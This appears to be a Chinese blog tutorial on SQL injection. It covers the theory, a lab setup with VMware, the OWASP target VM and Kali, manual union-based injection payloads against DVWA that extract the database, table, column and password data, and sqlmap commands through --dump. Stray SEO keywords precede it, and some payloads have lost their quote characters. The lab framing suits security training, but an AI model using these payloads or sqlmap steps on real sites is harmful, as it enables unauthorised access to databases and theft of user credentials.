通过ip访问网站需要怎么做,wordpress阿里云数据库,网站怎么做footer,高德为什么没有国外地图1. 安全渗透
1.1 分类
web数据库安全web应用服务器安全#xff08;文件上传漏洞、文件包含漏洞#xff09;web客户端安全#xff08;XSS跨站攻击#xff09;
2. sql注入
2.1 sql注入介绍
sql注入在安全问题中排行榜首sql注入攻击是输入参数未经过滤#xff0c;然后直…1. 安全渗透
1.1 分类
web数据库安全web应用服务器安全文件上传漏洞、文件包含漏洞web客户端安全XSS跨站攻击
2. sql注入
2.1 sql注入介绍
sql注入在安全问题中排行榜首sql注入攻击是输入参数未经过滤然后直接拼接到sql语句当中解析sql注入是一种将sql代码添加到输入参数中传递到服务器解析并执行的一种攻击手法
2.2 sql注入原理
攻击者在页面提交恶意字符服务器未对提交参数进行过滤或者过滤不足攻击者利用拼接sql语句方式获取数据库敏感信息
2.3 sql注入危害
数据库泄漏用户数据被非法买卖危害web应用安全
2.4 sql注入实现方式
手动 查找注入点输入sql常用注入组合语法进行注入 自动工具 工具扫描注入点输入自动尝试各种组合语法
3.环境搭建
3.1 vmware虚拟机
3.1.1 作用
虚拟机软件可以使用软件在物理机上安装多个虚拟操作系统Linux、windows靶机与渗透剂运行以来VMware软件 VMware下载教程
3.2 靶机学习使用项目环境
作用
一个Linux虚拟机系统在这个虚拟机中安装了一些已知漏洞的web应用程序方便学习OWASP靶机安装教程
3.3 渗透机学习攻击sql注入环境
作用
Kali包含数百种工具可用于各种信息安全任务例如渗透测试安全研究
4. 手动注入
4.1 环境准备
说明通过靶机web应用程序练习手动注入 步骤 启动靶机OWASP 通过浏览器访问靶机 访问OWASP-dvwa项目 登陆 选择sql注入应用程序
4.2 查找注入点
说明主要采用单引号转义字符\以单引号为主 原理
#后台程序sql语句
select first_name,last_name from users where user_id $id;
#输入单引号(),相当于将sql语句闭合后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id ;4.3 逻辑或 4.4 猜测列数
通过union union select 1,2 #2. 通过逻辑或
or 11#4.5 获取数据库、表、列
获取数据库名 union select 1,database()#获取表 union select table_name,1 from information_schema.tables where table_schemadvwa #获取列 union select column_name,1 from information_schema.columns where table_nameusers #4.6 获取数据
//1. 获取单个字段数据union select user,1 from users#//2. 获取两个字段union select user,password from users#4.7 concat函数
作用拼接多个字符串为一个字符串 语法concat(str1,str2,…) 示例
获取users表中user_id,user,password,分为两列显示
select user_id,concat (user,password) from dvwa,users;解决user和password拼接在一起的问题
select user_id,concat(user:,user, password:,password) from dvwa.users;获取多个字段 union select user,concat(first_name, ,last_name, ,password) from users#5. 自动注入
5.1 自动注入介绍
说明自动注入是指利用工具代替人工去完成sql注入操作 工具sqlmap
5.2 自动注入环境
启动靶机启动渗透机
5.3 sqlmap
工具sqlmap
一个开源渗透测试工具自动检测和利用sql注入漏洞并接管数据库服务器
5.3.1 sqlmap基本用法
参数
-u:扫描的目标url–batch:自动处理提示信息–cookie附加cookie参数
步骤
扫描注入点获取数据库名获取表名获取字段名获取数据
由于需要登陆我们首先获取已登录页面的cookie 然后开始扫描注入点 成功注入
5.3.2 sqlmap获取库名
– current-db查询当前web使用的数据库名 -D应用指定数据库 运行结果
5.3.3 sqlmap获取表
– current-db查询指定库下所有表名需要先使用-D指定库名 -T指定表
运行结果
5.3.4 sqlmap获取列
– columns查询指定表下所有字段需要先使用-T指定表名 -C指定字段名 运行结果
5.3.5 sqlmap获取数据
–dump下载数据 运行结果